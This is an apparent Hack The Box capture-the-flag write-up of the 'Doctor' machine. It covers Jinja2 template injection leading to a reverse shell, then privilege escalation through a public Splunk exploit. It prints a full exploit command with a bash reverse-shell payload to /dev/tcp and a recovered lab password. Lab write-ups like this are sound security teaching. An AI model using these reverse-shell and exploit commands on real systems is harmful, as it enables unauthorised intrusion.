Doctor is a easy box where the initial foothold is obtained by exploiting the Server Side Template Injection
(SSTI) vulnerability. It took me a fair amount of time for me to get how the SSTI could be used in the title of the post. But rooting the box was a piece of cake since I found an interesting script to exploit Splunkd
. The final objective is to get the user and the root flag.
Author | egotisticalSW |
Operating System | Linux |
Difficulty | Easy |
Connect to Hackthebox
and let’s go.
Enumeration
Let’s start with the nmap
scan.
The results of the nmap scan showed that the three ports: 22/ssh
, 80/http
and 8089/splunkd
are open on the machine.
Leaving the the ssh
and splunkd
services aside, let’s start enumerating the http
service. The home page of the http service gives us a valuable piece of information.
Add doctors.htb
to /etc/hosts
file. Sudo
permission is required to edit the file.
10.10.10.209 doctors.htb
After adding the url, revisit the http service
with the url doctors.htb
. If you did everything correct, you should see the login page. Don’t bother checking for common credentials
and SQLi
based vulnerabilities. Because I did and wasted a bit of time. Instead create a new account and login with the same account.
After logging in, create a New Message
.
Creating a post, I searched around for hints and stumbled upon something ineresting in the source page.
Going to the /archive
directory, it was just…blank.
At first, I didn’t know that the title of the post
and the /archive
page is somewhat linked, so I tried triggering an alert box with XSS but had no luck with it. After figuring out that the title of the post is reflected in the archive page, I tried doing HTML injection which succeeded. Then, I checked for the SSTI
using common payloads from PayloadsAlltheThings
. I updated the post to the following.
And checked the /archive
directory.
We can see that the payload 7+7
is executed and results in 14
. This means that the website uses Flask
and Jinja2
to render the website.
You can learn more about SSTI
vulnerability in the Portswiger Academy
.
Exploitation
I tried crafting my own payload but in the end I grabbed the SSTI
payload from the PayloadsAlltheThings
page and entered it in the title of the post.
Here is the link to the payload. Change the call parameter to /bin/bash -i
. And finally post the content.
Open a netcat
listener in your local machine. And go to the /archive
page to get the reverse shell.
User flag
I transferred linpeas
into the remote machine and executed it. After going through results I found a lot of passwords
strings. And one of them was actually a password. Also, I found the username shaun
.
I wanted to confirm it just in case…so I cat-ed out the file.
cat /var/log/apache2/backup | grep password
Now we can change the user to shaun
with the password we just found.
Stabilize the shell using python3 -c 'import pty;pty.spawn("/bin/bash")'
. In the home directory of the user shaun
we can find the user flag
.
Root flag
Going back to the nmap
scan results we didn’t enumerate the 8089/splunkd
port/service.
I tried googling publicly available exploits for splunk and this link peeked my interest. Here is the link to the exploit.
I cloned the repository and moved into the ./SplunkWhisperer2/PySplunkWhisperer2/
directory. It is an authenticated exploit. For syntax you can just run the python file or you can read the documentation in the github page.
python3 PySplunkWhisperer2_remote.py --lhost your-vpn-ip --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "bash -i >& /dev/tcp/your-vpn-ip/4445 0>&1"'
Open a netcat listener in your local machine to get the reverse shell and run the file.
The root flag can be found in the /root directory.
Peace out!!!
That’s it folks. Happy hacking!!!